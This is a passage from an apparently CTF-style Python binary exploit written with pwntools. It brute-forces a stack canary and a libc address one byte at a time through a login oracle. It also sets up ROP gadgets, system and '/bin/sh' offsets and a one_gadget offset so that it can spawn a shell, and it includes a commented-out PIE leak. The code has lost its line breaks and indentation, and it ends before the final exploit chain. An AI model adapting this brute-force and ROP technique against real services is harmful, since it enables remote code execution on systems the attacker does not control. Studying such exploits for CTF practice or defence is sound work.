for i in range(nbytes): print(len(addr)) if i == 0and half_bytes == True: print(i) for j in range(0, 0x10): payload = addr + chr((j << 4) | half_bytes) + "\x00" login(1, payload) if p.recv(8) != "Failed !": addr += chr((j << 4) | half_bytes) login(0) break else: for j in range(1, 0x100): payload = addr + chr(j) + "\x00" login(1, payload) if p.recv(8) != "Failed !": addr += chr(j) login(0) break
return addr
main = 0xecf pop_rdi = 0x00000000000010c3# pop rdi ; ret pop_rsi_r15 = 0x00000000000010c1# pop rsi ; pop r15 ; ret system_offset = libc.symbols["system"] str_bin_sh_offset = libc.search("/bin/sh").next() one_gadget_offset = 0xf0567
# brute force the canary canary = bruteforce("", 0x10, False)
# brute force done success("Canary leak done!")
# # if write rop chain, then will need the PIE # # again brute force the PIE # login(1, "\x00".ljust(0x40, "A")) # copy("BBBB") # login(0) # PIE_related = u64(bruteforce("\x70\x0b", 6).ljust(8, "\x00"))
# # brute force done # PIE = PIE_related - 0xb70 # PIE_main = PIE + main # PIE_pop_rsi_r15 = PIE + pop_rsi_r15 # PIE_pop_rdi = PIE + pop_rdi
# finally brute force the libc login(1, "\x00".ljust(0x48, "A")) copy("BBBB") login(0) libc_related = u64(bruteforce("A" * 8 + "\x39\x04", 6)[8:].ljust(8, "\x00"))